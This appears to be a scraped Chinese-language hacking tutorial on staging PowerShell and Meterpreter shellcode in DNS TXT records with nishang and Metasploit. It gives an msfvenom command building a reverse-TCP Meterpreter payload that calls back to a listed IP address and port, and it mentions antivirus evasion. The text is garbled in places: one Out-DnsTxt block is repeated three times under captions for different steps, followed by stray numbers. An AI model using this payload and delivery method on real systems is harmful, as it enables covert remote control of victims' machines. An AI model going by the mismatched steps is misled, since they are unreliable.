通过DNS TXT记录执行powershell

2019-09-30 10:15:23王振洲

参数说明, Shelldomain 为创建txt记录的域名或子域名; subdomains 为创建TXT域名的个数,如上面所创建的为3; AUTHNS 为域的权威名称服务器,如我使用的狗爹,所以AUTHNS为f1g1ns2.dnspod.net

在32位win7上执行:

PS C:/Users/evi1cg/Desktop> . ./Execute-Code.ps1

成功获取meterpreter会话:

64位的请自行修改payload及脚本。

0x04 补充

Metasploit中已经含有此脚本 dns_txt_query_exec.rb ,此脚本查询TXT记录的顺序为a.domain,b.domain…,下面是一个示例,首先生成payload:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.238.225.222 LPORT=8887 -e x86/alpha_mixed Bufferregister=EDI -f raw > reverse.txt

使用下面的脚本对该文件进行切割:

PS F:/DNS> . ./Out-DnsTxt.ps1
 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
 You need to create 2 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

0

输出如下:

将这三行分别添加到a.domain,b.domain,c.domain的TXT记录中:

生成exe:

PS F:/DNS> . ./Out-DnsTxt.ps1
 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
 You need to create 2 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

1

msf开启监听:

PS F:/DNS> . ./Out-DnsTxt.ps1
 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
 You need to create 2 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

2

运行exe,获得meterpreter:

至于免杀,可以直接生成c格式的shellcode,然后按照 打造免杀payload 来做。

0x05 小结

本文主要介绍一种执行命令的方式以及nishang的脚本使用,希望能对大家有帮助。